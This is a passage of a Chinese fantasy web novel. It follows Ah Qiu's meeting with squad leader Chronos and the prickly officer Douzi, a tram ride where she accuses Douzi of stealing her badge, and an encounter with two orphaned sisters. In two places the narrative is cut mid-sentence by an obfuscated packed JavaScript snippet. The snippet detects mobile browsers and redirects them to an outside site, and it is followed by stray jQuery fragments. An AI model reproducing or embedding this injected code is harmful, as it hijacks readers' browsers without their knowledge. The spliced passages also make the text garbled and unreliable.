“还有,如果你在意制服的事,我这边可以提供一个方案:标准音最近更新了样式比较低调的春季款女帽,不细看的话,完全可以拿来当日常搭配……” 眼看着话题又要跑偏,豆子再次出言提醒:“发现了异状,她跑步过来向你报告吗?” “当然不是!瞧我这记性,年纪上来了没办法,你多担待。豆子豆子,快把我抽屉里的那个东西拿出来——看见没,队伍离了年轻人就是寸步难行!” “那个东西”? 摆上茶几的是一只小小的圆形仪器。克洛诺斯按按这里,再按按那里,“啵”的一声,一小块半透明的屏幕弹到了外面。 阿邱认出来:“这是飞笺器?” 飞笺终端,也称飞笺器,一种依靠信号塔发射压缩声波信息的通讯设备,早期为军方所用,上回她接触这项密不外传的无线电技术还是在六年前;随着技术力的局部提高,这东西不仅越做越小、越做越花哨,现在还普及到警卫队来啦?想来投入市场狠狠捞钱——不,投入市场惠及民众也是指日可待。 “这是我的0号备用机,上个月换新之后就闲置了。”飞笺器和它的使用说明书一起推到了阿邱眼前:“我保养得很好,成色八新以上,一点故障都没有,用起来跟新的没差!马尔科姆管我要我还不给他呢。” 简要学习了使用方法,读到“消息的分类”那一栏,阿邱又是汗流浃背——怎么会是用波形的颜色来区分发信与收信的! ……也不是不能解决,就是要辛苦她一条一条戳开分辨了,好在耐心是她最不缺的东西。 “我差不多都学会了,谢谢你愿意把这么昂贵的东西借给我用……” “借给你?这是送给你的呀!”克洛诺斯的口腔为自己的善举而发痒,莫名其妙冲着豆子弹了个舌,“里面存了我们终止式三个人的短码,你用档案归类术就能调出来。” “明白啦!” 说起来,阿邱时常怀疑终止式只有他们三个人,事实好像也是如此。可能就像话剧舞剧一样,戏份不重的队员都画在舞台的布景板上了吧。 “豆子的短码我先帮你置顶咯?好嘞!那么他就是你的第一联络人了。说出来你可能不信,这是因为他——一天到晚都不睡觉!” 阿邱眨巴眨巴眼,判断着这句是不是玩笑话,见豆子没有反对意见,便贴心地问起了克洛诺斯会感兴趣的事:“用压缩声波传话会不会不太安全?我是说,跟传统密信加齑言台模式比起来的话?” “那你可就不知道了,安上我们格林匹克堡自助研发的芯片,现在已经能做到内线通话啦!不过直到今天,24小时紧急密信也还是难以被取代,你就别担心狮鹫物流的顶尖信使会失业啦。”克洛诺斯果然高兴起来,还帮她突然间的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052074|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宜人性找到了理由,“哦——你是在担心自己的同行?不愧是我们终止式的超级新人啊!” 阿邱都被夸害臊了:“哪里的话……芯片——北城的技术这么厉害,以代达罗斯建筑学院的效率,信使也迟早要被淘汰的吧……” “这么说,你也怀念从前那种慢悠悠的生活?” “谁不怀念呢……” “唉。” “唉……” 阿邱捧起茶杯,跟克洛诺斯一起感伤起来。 又不敢感伤太久,不然豆子警官会生气的。快,那个预备救世主,任何场景下都能马上找到有趣的话题不该是你的天职吗! 阿邱慌不择路地看回了表格。按照标准格式,“邱”在“珊”的后面,从这里,她找到了一个了解新伙伴的切入点。 “对了罗宾警官,你的姓氏是什么?” 像是在参加有奖竞答,克洛诺斯抢着说:“想不到吧,他姓洛夫克拉夫特!” 罗宾·洛夫克拉夫特? “是笔名吗?” “又答错了,是真名!” “哇好厉害——所以他爱哪门手艺?” “嘿,你要是感兴趣,且听我慢慢道来。” 确定要慢慢道来?豆子警官本人还在旁边坐着呢,并缓缓举起了擅长给人耳光的一沓文件。 “有段时间啊,豆子在武术上陷入了瓶颈,怎么都进步不了,情绪就特别糟糕,他人缘又不好、找不到倾诉对象,寂寞无处排遣,于是他就——” 怎么怎么?阿邱竖起了耳朵。于是他就开始抽烟了?开始酗酒了?开始滥交了? “——学会了做饭。” 嘁。 “……真是意想不到!” “是吧,超酷的,和那种一天到晚只会撩妹的浪荡儿还不是一种酷法!他又有天赋又下功夫,现在已经是标准音第一烹饪大师啦,我封的,嘿嘿。”随话语落下的爱的巴掌可能又加重了豆子的伤势,“烘焙、熏腊、蜜饯腌渍……一切你知道的希孚里亚家常菜式,他都很拿手!尤其是招牌菜蒜味腊肠,无论蒸着吃还是煎着吃都是一绝,我们的祭司尝了都说好!可惜工作一忙他就没机会给大家露一手了,唉,真怀念我们还在格林匹克堡的日子啊。” 虽然克洛诺斯今天一直在叹气,但阿邱注意到了一件事:哦这么一说标准音的团队氛围还蛮好的,是想怎样? ……大事不妙,越听越觉得他们不像个反派组织了。 “还有这个!”克洛诺斯指着曲奇道:“我们囤的面粉有点受潮了,他这才难得出一次马,我敢打包票,全境最棒的手作曲奇就在我们终止式的茶几上了,今天你还真是来着了!” 豆子缓缓放下文件夹,接受了自己百分百被缴械的命运,无论是以北风还是太阳的形式:“说够了没,你在推销我吗?” “这个曲奇很好吃!”忽然,阿邱大声夸赞道。 “特别特别好吃。”她冷汗涔涔地重复了一遍,双手抓着膝盖上的布料,心里愧疚极了。 她竟然没做好这盘曲奇有可能很好吃的准备——在豆子警官背过身去清扫冰山时,她还偷偷往口袋里揣了几块。只可惜这条棉布裙自带的口袋太浅了,在十字城邦,女士服装和那些专为一米七五以下美少年设计的服装一样,大都只要美观,不要实用。 这还不是最让她心虚的。她真正难过的是,偷走一个民间大师精心准备的点心,仅仅是为了填饱自己毫无鉴赏能力的肚子。 换个话题、快点换个话题,求求你…… “那——那他不睡觉又是怎么回事呢?” 克洛诺斯被阿邱的干笑弄迷糊了:“这个嘛,他体质异于常人?好像三天只用睡一顿觉,白天又精神很足,从来都不偷懒,我也搞不太明白——不如,我帮你问问他?” “哈哈哈这样啊,那你赶紧研究研究他是不是上发条代替吃饭的……” 说着,阿邱意识到克洛诺斯是在打趣她,对上他的视线,发现那笑容愈发诡异了。 克洛诺斯的目光在两个年轻人身上打转,慢悠悠地说道:“好了,阿邱,以后你可以管我叫‘大哥’,豆子有时候也这么叫我,你俩是同辈,以后要记得常来往啊——” 阿邱还没有完全丧失理智,还记得用委婉的“啊哈哈”来表达拒绝。 她的这份退缩可能激出了克洛诺斯的心里话:“说到这里,其实,你今天最应该感谢的人是——” “茶煮开了。”豆子起身道:“二位要续杯吗?” “不要不要,我经常告诫你下午三点以后喝茶容易失眠,你是一点也听不进去啊!别打岔,阿邱,你到底什么时候搬过来住?赶紧确定下来,我好叫豆子随时准备腾房间。” 这回,阿邱得以从正面观赏到了豆子是如何后背一僵的。 29. 第二十四章 都不吃人 假如豆子跟她是熟人,阿邱早把他拖到墙角蛐蛐了:“你们队长怎么想一出是一出的?刚给我派了盯着夜之窟的任务,现在又要我搬过来住,那任务怎么办?说话之前过过脑子啊!你是伙夫,你以后记得多给他喂点核桃补脑。” 可惜豆子和她不熟,阿邱只能僵在原地,绞尽脑汁地尝试和眼前的不明生物交流:“真的不用了……我兼职的报刊亭离家里很近,不想放弃这个便利……夜之窟就是基础设施不太好,但我住在那边还算安全……” 结果让人一句话打发了:“好吧好吧,我开玩笑的!” ……有时应当鼓励粉丝适度殴打偶像。 “刚才说到哪儿了?对,豆子。别看豆子讲话难听,他平时待人接物还是挺随和的,只有被触碰到了底线才会发脾气——刚好两回都被阿邱你给撞上了,这都什么事儿!但我向你保证,他不吃人,真不吃人,你还记得上回那场对决……” 谢天谢地,说到这里他就说不下去了。 不过,该谈的话题总是绕不过去的:“你那位……搬运工舍友?他还好吗?” 阿邱舔了舔上嘴唇。 “他跑了。” “跑了?” “嗯,昨天大半夜跑的,早上起来就没影了,我也不知道他去了哪里。” 续好两杯茶的豆子默默坐回原位。 “不仅如此。”阿邱板起脸来,“依我看,表面上提供舞男服务的淡猫俱乐部,背地里很可能是一个杀手组织!” 克洛诺斯和豆子互相对视一眼。 “你具体说说?” “一是主干成员身手不凡。除了苏西,其余两位也是练家子,你们肯定都看出来了,锁子甲,对吧?二是他们在夜之窟扎根不深,无论筹备工作如何完善,细节上的生疏也不会骗人,保守估计,他们来到这里不超过三个月。此外,我猜他们上头有人,势力还很广,具体是谁我也判断不出来,反正不像神殿戍卫队,更像是哪位祭司的私人警卫队——”如果别人家的祭司也像北城那位一样没有安全感的话,“克洛诺斯队长,这些算是夜之窟的异状吗?” 克洛诺斯被她说得一愣一愣的:“呃,当然算!” “杀手组织啊……”豆子也托着下巴思索起来。 阿邱怕他担心,连忙说:“显然我不是他们的目标,甚至他们大张旗鼓地在夜之窟开店,很可能接到的任务也并非暗杀——” “这件事应该尽早通知夏尔玛镇长。”豆子转头跟队长交代。 原来担心的是这个啊。 阿邱讪讪一笑:“镇长要是派人端了那里,我可就没地方睡觉啦……” “正好你搬过来住嘛!”克洛诺斯冲着阿邱笑得和善,转向豆子时却是脸一垮:“我看你该吃点核桃补补脑了!万一镇长就是他们上头的人呢?” 阿邱再次汗流浃背:女神啊,这是可以在她面前公开讨论的吗? 豆子看了阿邱一眼,无所谓道:“邱小姐刚才说‘反正不是戍卫队’。” “谁告诉你森林戍卫队和镇长一定是一伙的?” “那就是别的什么戍卫队,随便吧。” 这句话体现出了豆子警官的随和吗?鬼知道。 “目前尚不确定他们有什么计划。”阿邱特别强调,“我比较担心的是,假如再有人以‘查封’威胁,这帮人就要卷铺盖跑路了,到时候只怕更难监视。” 克洛诺斯郑重点头:“确实如此。感谢你的重要情报,这对我们很有帮助。” 阿邱也老练地冲他点点头,龙吸水一般快速喝光杯里的茶,第二次站起身,开始背诵寒暄语:“今天我就——” “等等!” 克洛诺斯跟着她起身,腿还没迈开,身形就是一晃,勉强扶住茶几,龇牙咧嘴地“哎哟”了一声。 阿邱赶紧上前搀扶:“小心!这是怎么的,抽筋啦?” “风湿病。”豆子熟视无睹地替来客解惑:“喝酒喝的。” 疼劲儿过去后,克洛诺斯当即给了下属一捶:“什么喝酒喝的,我那是阿瑞斯杯留下的伤病!尊重一下老选手好吧?” “最近气温升高,湿度也跟着起来了。”阿邱的口气像是在分析一株植物的生长环境,“往后几天可能会连着下雨,你一定要做好防护啊。” “好啊好啊,待会我拿个发热包捂起来!不过好消息是我们的队医快来了,到时叫他仔细帮我调理就好了。” 克洛诺斯不在意地挥舞着蒲扇巴掌,阿邱却是心虚得没边儿了:在这关头叫队医过来……主要还是为了豆子警官的伤吧。 魔法不是万能的,像脱臼这种伤筋动骨的事,个人能力再强,顶多也只能作应急处理,细致治疗还得靠游医队的药物和仪器。试想一个注册角斗士,要是因延误治疗导致不可逆的机能下降——不用他出声抱怨,阿邱先自刎谢罪,剩下的让保险来赔,前提是她买得起。 豆子一脸看不下去地迅速收拾了茶几:“行了,老弱病残不要逞强了,我送邱小姐出去。” 阿邱正要婉拒,老弱病残短暂地恢复成精敏的年轻人:“哎等会——没别的意思,我就捎带打听一下:在我回来之前,你们两位小朋友单独聊了些什么呀?” 豆子直言不讳:“在聊你。” “真的?聊我哪个方面?” “——是秘密!”阿邱抢着说。很快她又发现,就算她不插嘴,豆子也并没有说下去的打算。 感谢女神,他信守了承诺,直到最后都没有向需要被背着或抬着的人告密。 “好好好,是秘密,那我就不多问了。”克洛诺斯怪笑着收起了窥探欲:“反正最近也没什么大事,不如这样吧,阿邱,明天你几点钟交班?好,下午我叫豆子带你去参加入职培训。罗宾小队员,你说呢?” “明天就去?” “是的,咱们效率至上!” 阿邱感觉像是有个牛仔把她脖子上的套马索给勒紧了:“怎么——怎么突然又有入职培训啦?” 而且,说好的任务都很简单呢! “别紧张,形式上是入职培训,内容是你正好需要的。” 克洛诺斯的意思是,他愿意帮阿邱承担第一次找调律师就诊的费用:“不许拒绝!这也是为了工作着想。” 他告别时的寒暄语也非常有内容,没有长期的生活积累根本讲不出来:“即便瓦德密尔的春天快要来临了,可别忘了还有倒春寒哟,大家最近都注意保暖防寒、吃饱睡好,散会!” 一言以蔽之,不是简简单单就能从《万事不求人手册》上学来的。 ———— ———— 复盘这一下午的谈话,阿邱觉得,她的投诚换来的是监视者的赢家通吃:然而事实上,她认为——终止式可能也认为——夜之窟最值得一“盯”的不是别人,正是她本人。 “明天我们在哪碰头?” 这是豆子在问话。 “夜之窟的街口怎么样?有一棵修剪过的龙柏,旁边可能还有西瓜摊。” “行。” 看到广场上的美梦女神像,阿邱礼貌地停下脚步:“罗宾警官请留步,今天真的谢谢你了。” 无法预料他回头是否会告密,这句感谢的承受方是曲奇,她会好好保存、含泪吃上整整三天的。 但豆子的理解显然还停留在上一阶段。 由于她阿邱邱小姐一出门就掏出了情商修炼手册,翻到有手描平面鸫的那页、细细摸索着纸张、发出微小的战栗,犹如异教徒吸入魔气一般恢复着能量,豆子往身旁瞄了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052075|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼,看清那是什么后,反应过度地倒吸一口冷气,直到现在还保持着眼皮紧张度。 眼皮紧张的他沉声问道:“为什么不找克洛诺斯合作?” 意思大概是,这回你应该看到我们队长的诚意了吧?大胆去找他吧,我不敢保证我自己,但他才是真的不吃人啊。 那么为什么不呢?阿邱没有重复一百遍也重复过五十遍了:一个克洛诺斯,一个鸫,两人手足情深、你说你是哥哥我是弟的,要是倒霉的弟弟让他亲爱的、一米九的、头大肩宽的、抬都抬不走的大哥先找到了、先抱住了、先占据视线了、先把思念成疾的泪水洒到肩头上了,他的眼里哪还容得下一个阿邱? 人都还没找到,她就在这提前吃上干醋了,然而本质上她的evilplan不过是绑架离家出走的小孩,以免他一转头和家人团聚了、把自己忘在了原地——可不能说漏了嘴,要是正义的豆子警官得知了真相,不逮她去坐牢才怪! 所以她的托辞是:“因为我喜欢给生活增加一点难度。” 豆子冷笑一声,移开了视线。 却也没有立即迈步往回走,而是静静驻足、双手插兜,抬头望向女神像。 “你就这么想要他?”他问道,平静的语气下翻涌着不可名状的情绪。 “嗯啊。只要他还活着,我就一定要找到他。”就像看不清他的脸,阿邱对豆子微妙的心情波动也很迟钝,尤其是在这个时候,没有什么比她眼前的平面鸫更重要了。 “找到他之后你要做什么?”豆子的目光像一把裁信刀,带着剖开一切的气势,“刷”地划向阿邱的额头:“吃了他?” “说什么呢,我才不吃人!” 阿邱明白过来,也在明白过来的这一瞬间分析出一套完整的逻辑:豆子对她或多或少总有些敌意,除了对偶像的占有欲,更有可能是对塔尔塔洛斯的前服刑人员带了些童话式的恶感——从小父母肯定没少跟他说“再不乖乖吃饭饭,塔里的魔女就要来吃你了!” 为了划清自己和魔女的界限,她叉起腰,大声说:“我会尊重他的意见!就算真的是我先找到了,他讨厌我,我还能强迫他喜欢我不成?” “你强迫一个试试?” “……啊?”这是在威胁她还是使唤她? “这样你就露出真面目了。”豆子倨傲地一抬下巴,“然后终于发现,世上没有人会接受你这种肤浅又自私的爱。” 他知道个什么,就敢信口开河妄下断言了?虽说阿邱的确考虑过用完就阉……但那也是很久、很久之后的事了!于是她的生气带了些恼羞成怒的成分:“就算如此,那又与你何干?” “是,当然与我无关。” 豆子冰寒着面色,转身离开。 阿邱看着他的背影消失在大理石楼梯的阴影处,心里有些纳闷,但更多的是欣慰:豆子还是把她一开始的话听进去了!不然他为什么对鸫的话题如此敏感?那么促成秘密合作简直就是板上钉钉的事了! 他当然敏感了。阿邱不知道的是,即便没有她提出合作,在本子上留有一块平面鸫的地方,豆子只要看到了,就会起一身的鸡皮疙瘩,每一颗鸡皮疙瘩上都立着一根汗毛,外面还结霜。 试想一下,我亲爱的朋友,假如你是鸫,出于某些考量改换形貌回到傻大哥的身边,只求帮他度过这一次的危机便默默退场,却被不知从哪冒出来的囚徒盯上了、记住了、对自己的画像一见钟情了,还把画像复刻成各种形态堆放在她生活的每个角落,终日用“嘿嘿嘿”的憨笑声笼罩,在那上面沾满了她同枕共眠的口水、施展爱情魔咒留下的毛发、指甲壳、动脉血什么的——你也会吓得寒毛直竖。 因而,豆子从阿邱身边逃跑的步幅从来不是百米冲刺,全凭他残存的勇气与耐心。 30. 第二十五章 绅士学研究 希孚里亚的绅士文化是陈旧且略带一点暴力的,阿邱老早就这么觉得了。 为了降低欠债的可能,今日交班后,她两口吞掉提前备好的午餐才跑到街口,坐在龙柏朋友的身旁,一边跟它聊天,一边晃着两条腿等待豆子过来接她。 她一时忘了,按照老派北城人的绅士学,在饭点与女性有约,无论男方是邀请方还是受邀方,安排餐点的任务必须交由他们负责,活动产生的一切费用也都由他们承担。 于是,当豆子拎着从酒馆打包好的乌梅饺子、红菜汤和烟熏鸭腿走过来时,阿邱心里暗叫不好。 尤其是,他选择尊重春天的来临、无视克洛诺斯提醒过的倒春寒,制服帽子换成了软款的贝雷帽,双手也只是戴着绸缎做的薄薄的半指手套——这人到底有几副手套?家里不会是开手套厂的吧?那他有福了,不慎暗杀了领导被公职系统除名后还能回家继承手套厂。 早上牧笛说着要出外勤,推开窗,被新叶井喷式的发芽骗到了,刚走出去半步就嗷嗷叫着被冻了回来,披上厚实的仿貂皮外套才成功出了门。 考虑着不能害人白冻一趟手啊,阿邱坐在车站硬塞进去半盘饺子,又艰难地用汤溜了缝——不是她没有努力,确实是能力只到这了。 豆子看着她把剩下的食物腾到盒子里盖好,微感诧异:“胃口这么小?” 他看起来已经不生气了,多半是昨晚失眠时想起克洛诺斯夸奖他的那段话,反思自己为了吃干醋而向无关人士撒气很不好吧!希孚里亚有句老话说得好:真正的绅士从不带着怨恨迎接清晨的第一缕阳光。 机动队伍终止式和机动队员阿邱大都活动在镇北,加百列的工作室却在全镇最南端,镇上共有两条有轨公车线路,人流量最大的“广场东”便是它们唯一的换乘站——小镇的公共交通就是这么简单又安全。 阿邱还是第一次乘坐有轨公车,上了车就不停地东摸摸西看看,要不是被豆子拽走,她就要找不到座位站完全程了。 902路通往镇外,座位上方有简易行李架,前座的老人颤巍巍地举起箱包,独自出行没有帮手,只得就近点兵点将:“小伙子,能不能搭把手?” 根据昨天的酷学研究成果,被他点到的豆子不能搭把手,因为他是酷盖,两只手都要用来插兜。 ……咦,他把手抽出来搭把手了?看来这一轮又是绅士学打败了酷学,不错不错,请继续保持。 好人好事毕,他便摘下帽子往脸上一扣,靠着车窗开始假寐——如果他不睡觉的传言是真的,那么无论太阳在哪个高度,他的闭眼行为统一按假寐处理。 路程还长着,车窗外的街景是千篇一律的圆房顶循环,唯一的聊天对象又不想理她,阿邱只好打开手册上住着平面鸫的那一页,摆弄昨晚剪好的小纸片玩起了换装游戏。 “衣柜”里的帽子挑了好几顶都不满意,她已经尽力画得和订购手册上的图片一模一样了,却没有哪一顶配得上鸫的气质……往身旁一瞥,却是立即找到了灵感,于是猫起身子,偷偷摸摸在下一页的空白处画下了几顶贝雷帽。 真感谢自己随身带了把应急小剪刀,也感谢有轨公车没有安检,阿邱美滋滋地在左边的口袋里摸索一番,脸上的笑意骤然消失。 不好,“邱珊”徽章不见了! 明明上车前才确认过它好好地躺在口袋里,可剪刀和吃剩的半块曲奇还在原位,唯独徽章消失了! 不抱太多希望地,阿邱摸遍了身上的每一个口袋,终是一无所获。 那么只剩下一个可能了—— “罗宾警官、罗宾警官,车上有扒手!”她压低声音,紧急寻求专业人士的帮助。 “什么?”豆子用蜗牛探出触角的速度睁开眼,不知是把现在当成下班时间还是怎么地,语调里尽是懒散,“哦,那玩意儿又不值钱,谁会偷你的。” 瞥见阿邱手上的情商修炼手册,他像眼珠子被烫到了似的,用蜗牛速度的反义词闭上了眼——比假寐时闭得还紧。 阿邱翘着脑袋还在到处张望,忽然灵光一闪反应过来:“等等,你怎么知道是徽章不见了?” 扒手竟在她身边!动机呢,动机是什么,在生气的初级阶段阿邱就明白过来:还说他有好好反思过呢,专门忍到车上才动手,是反思出自己再也不能吃亏了是吧! 顾及着别的乘客,她憋着火气推搡豆子:“还给我!” 豆子的身体就像面团一样好控制,阿邱怎么推他怎么晃,没有半点对抗意图,但态度上就是该死地充耳不闻,让人想往这坨死面疙瘩里放足以把他膨到一间屋子那么大的酵母粉。 阿邱气急,用气声能达到的最大分贝说:“别装睡了,你不是绅士来的吗!徽章是你上车之后才摸走的吧?藏在哪儿了?” 随着面团的晃动,豆子外套下的背带牵动了布料,边沿滚了一圈麦穗的右裤兜应势咧开大嘴,好像在发出某种邀请。有这个拉拉扯扯的时间,就是推石头上山的囚犯也该被释放了,阿邱越想越气,放下边界感、恶向胆边生,索性把手伸进去探索了一番。 空的。看来是专款专用的插兜手预留地。 即便如此豆子也毫无反应,阿邱脾气再好也想打人了:“快还给我,别逼我搜身!” “你已经在搜了。”闭着眼的豆子不带情绪地陈述道。 想想一个小队员人微言轻,也没掌握实时留下袭警证据的技术,阿邱一咬牙,整个身体横到豆子身上,把他正面朝上的六只口袋全摸了个遍——甚至搜索左裤兜时不小心碰到了不该碰的地方,使得豆子条件反射式地抬了一下腿,她也顾不上道歉了。 可终究还是一无所获。 东西被抢走事小,对方有恃无恐的态度更是火上浇油。阿邱也不知道自己是怎么了,上回她这么气急败坏还是在多年前的一次生日,那时候,大家都……为了什么来着?不记得了,反正就是一如既往地围着童貉打转,把她这个寿星彻底忘到了脑后;等她端着切好的蛋糕挨个去敲门质问时,那群人还嬉皮笑脸地开嘲讽:“对啊我们就是故意的,早说过我们更在意他呀!为什么不在意你?照照镜子吧,你是美少年吗?哈哈哈哈!”…… 或许弄丢一枚设计师还在世的徽章不能要了她的命,但带着过往的经验看问题,她很难不反应过度。滚烫如岩浆的怒火灼烧着阿邱,灼得她都想进一步动用暴力了,忘了自己出狱有多难,也忘了豆子的伤,死咬牙关、把手捏成鹰爪,“咻”地伸向那双假装打烊的眼睛——无论是用手指抠的还是指甲壳划的,她就是要掰开他死蚌壳一样的眼皮,弄出血也在所不惜! 鹰爪伸到半路,手腕被人一把攥住了。 “够了。”豆子半睁开一只眼:“又不在我脸上。” 没死就别给她装死。怒火中烧的阿邱在岩浆中吱吱作响,坚持重复着一句话:“还给我!” 豆子这回却没被她烫到:“至于吗你,气得直喘。” “死人才不喘气!” “是么,那你在我眼皮子底下偷东西时怎么脸不红气不喘的?” 他这么一说,沸腾的怒意又用关上阀门的速度“吱吱”地退了下去。阿邱抽回手,目瞪口呆地说:“哎?竟然是为了这个?早说嘛!好好,偷你曲奇是我不对,但你非得用这种方法来教训我吗?简直像是……像是在跟我示范正确的偷 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想通了之后,她翻过这篇,把本子往怀里一揣,动作很夸张,目的是无声地表达“哼”和“我大人有大量才不和你一般见识”——现在,轮到她靠在椅背上打瞌睡了。 “……才会截肢。像姐姐这样的,医生给你打一针就好啦!” 半梦半醒间,身后传来一个清脆的童声。 镇医院站也在这条线路上,这班车的乘客半数是要去看病的人。听到“截肢”,阿邱睁开眼,悄悄回头看,见后排坐着一个腿上打了石膏的少女,手臂上还挂了个比她更小的女孩。 小女孩摇着大女孩的手,抱怨道:“你不敢去看医生,腿又一直不好,我都找不到人踢球了!” 那少女形容憔悴,还要强打精神安慰小女孩:“是啊,所以姐姐要换家大点的医院,治好了腿就能陪你一起玩啦。” “那个,妹妹们,”阿邱忍不住把头探到后面问:“你们的父母呢?” 少女一抬头,有些警惕地搂住妹妹:“有事吗?” “不是不是你误会了,我是想问,你看起来还未成年吧?一个人带着小孩去那么远的医院……你们真的不要紧吗?” 似是判断出提问者不太精明,少女稍稍放松:“我父母工作忙,没空管我们,跑趟医院又不是什么难事。” 阿邱有些纠结她的字眼:“可你的情况得住院吧,只跑一趟有用吗?你的腿是怎么弄的啊?” “在冷冻库摔了一跤就成这样了,只是伤到了皮肉,骨头没事。” 冷冻库? “那你去了医院可得好好检查一下啊,没准还有组织上的冻伤,那也不是开玩笑的!” 少女渐渐失去了耐心:“小姐,这不关你的事吧?” 阿邱急忙道:“我是想说,要是不方便,我可以背你去医院……” “谢谢,不必了。”少女强硬地打断她,把头转向车窗外,展示出拒绝沟通的姿态。 阿邱摸着后脑勺坐回去,正好对上豆子嘲弄的视线。她也不客气地看回去:怎么,身在瓦德密尔,冷漠是件很值得骄傲的事吗? “喂,那个姑娘,你过来一下,我有话同你讲。” 是前排受过帮助的老人在小声招呼她。 阿邱附耳过去,老人指一下她背后道:“你是刚到旧矿山镇来的吧?那两姐妹是帕特尔家的阿蒂提和妮莎,她们呀,可怜得很,在12年前那场天灾中失去了双亲,镇上连着几年给她们组织过募捐,但灾后物价一直下不去,对她们来讲也是杯水车薪——12年前她们才多大?小的那个只怕刚出生吧。” 哦哦,原来是天灾啊。 天灾。 ……怎么会刚好是“双亲”呢? 31. 第二十六章 酷学再研究 看阿邱不做声,老人发出一声叹息,接着说下去:“古神的力量威不可测,哪里是区区人类就能抵挡的,全境人口就这么消失了三分之二啊……不过,去掉那些本不该存在于世间的,真正的人类占比还不算大,熄灭的阳光、蒸干的雨露最后也会去到女神那边,紧密侍奉在她脚下……嗐,都是些必要的牺牲,想来伤心,不提也罢。” 娜塔莎的意见则是:世界上不存在所谓“必要的牺牲”。受到波及丧生的“原始种”,无论总数还是占比,对幸存者而言都不过是串冰冷到令人安心的数字;可是对于“被选中的人”来说,它意味着一切黑暗的开端。 老人还在絮叨着帕特尔家的事:“……我们看着也是心疼,能帮把手就帮把手,年纪轻轻的,被坏人盯上可就麻烦了,对人有点警惕心也是应该的,你也别怪姐妹俩态度不好,啊。至于那件事嘛,上面不让提,可姑娘啊,大叔是过来人,听叔一句话:神的旨意不可违逆、雷霆雨露皆是恩,像我们这样的人,只管悉心侍奉狄安娜女神就是,不要到处乱讲话,也不要质疑那帮传递神谕的信使——有些激进派就是考虑问题不够全面,给了上面太多压力才……” 他没发现吗?能让人群产生这样的意见分歧,说明那场天灾根本不是“天灾”。阿邱无意识地抓着裙摆,昨天刚挨过掐的那块皮肤又迎来了一场人祸。 此处临时插播一条酷学研究报告:如何快速把自己改造成一个酷盖? 第一,表情不能太大。 最好是长时间保持一张脸不变。什么样的脸?这里有个官方较为推荐的:??_>`。 ——眼睛半眯着,嘴角上扬的弧度被脸颊肉压制住,由唇周肌肉勾勒出单边法令纹即可。细看时,那是三分的凉薄、三分的讥笑、三分的漫不经心,留下一分给观众自由发挥。 第二,话不能太多太密,如有条件,最好全程装哑巴。 就这样,阿邱在没戴墨镜的情况下坚持酷到了下车。 公车开走了,传说中的三个绿房顶从它背后露了头——鬼知道现在是什么颜色,一看就知道跟着大赛的脚步重新漆过了,但别人家的油漆都没有这样波光粼粼的表层釉质。 是的,经过一段枯燥乏味的日常生活,阿邱非但没断气,还生龙活虎地来看调律师了。本以为加百列会把工作室设在更隐蔽的地方,谁知他明目张胆地开在了街边——开在街边又怎样!阿邱的人半脑理性地夺过了话筒。他又不是在干坏事!高风险、精细难学、操作费脑子的谐律术是在帮人们走出困境呀,只是被有心之人利用了而已,怎么能一棒子打死所有的调律师呢? ——反正赚的也不是她阿邱的钱。 豆子运了一会气,冲着呆愣在原地不动的临时哑巴提高了嗓门:“说话!” “有!”得了指令,阿邱像憋了足足两百年,竹筒倒豆子般发问了:“你觉得帕特尔姐妹是真的不要紧还是装的啊?前面就是调律师的工作室吗,哇,好气派!一会的流程是怎样的?有什么禁忌是需要我提前学习的吗?话说,克洛诺斯先生为什么突然回心转意了,还像这样关照我?罗宾警官,身为他的下属,你有什么头绪吗?” 豆子的本意是想确认这台邱小姐没有在修理厂门口报废,见她一切如常,便回答得很不走心:“因为他没事干,闲出屁。” 与此同时,他也在为徽章感到可惜。怕时间来不及,克洛诺斯在油灯底下觑着眼睛拼命改设计稿、拿剪下来的纸片拼来拼去的倒霉样儿犹在眼前,然而,拿到成品的人似乎并没有对他的设计付出同等的在意。 剃头挑子一头热的笑话是好看的,可换位思考,要是知道自己的努力成果被人怠慢如此,心灵再坚韧,肯定也要难受好一阵儿的。 不如就照收礼者预测的那样扔掉吧?踩成碎片扔海里,豆子磨着牙想道。同时也庆幸自己伺候的只是个上了年纪扑腾不动的家伙,换做与他共享脑回路的复印件,年轻、心思重,脑子却不好使,表现为一种笨拙地扑腾;不幸来到她无法融入的世界中,又被军方和不知什么来头的三教九流盯上了,说句不好听的,运气差点,就算没有那个三月的诅咒,悄无声息地死掉也只是时间问题;要是不幸效力于这种人,自己的命迟早也要搭进去的——还好她身边一个冤大头也没有。 虽说豆子也认同不能随便把邱小姐放归大海,可他觉得“放在身边看着”已经是最优解了,为一个悬而未决的人冒险实在没有性价比。克洛诺斯尊重情报加密等级法,始终不肯说出邱小姐究竟犯过什么罪,而他们的上级也是这样,像西城海岸线发出一级预警、半路遇到的囚徒来自塔尔塔洛斯这么大的事,要不是被反复逼问,格林匹克堡方面宁愿一直隐瞒不报,换做豆子,早就对獬先生满腹怨言了。 不过,越是“上级”,就越愿意过一种动物的生活,无须提前制定计划,只需跟随现状作出恰当反应即可……抑或是,如处在尴尬位置的克洛诺斯所言,“抢滩”的名号叫得再响亮,打从一开始,他们的行动方案便只能是干等,赌的就是一个运气,等来什么算什么,愿者上 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约莫等了半个钟头,美丽的护士小姐过来叫号了。 “患者邱珊!” 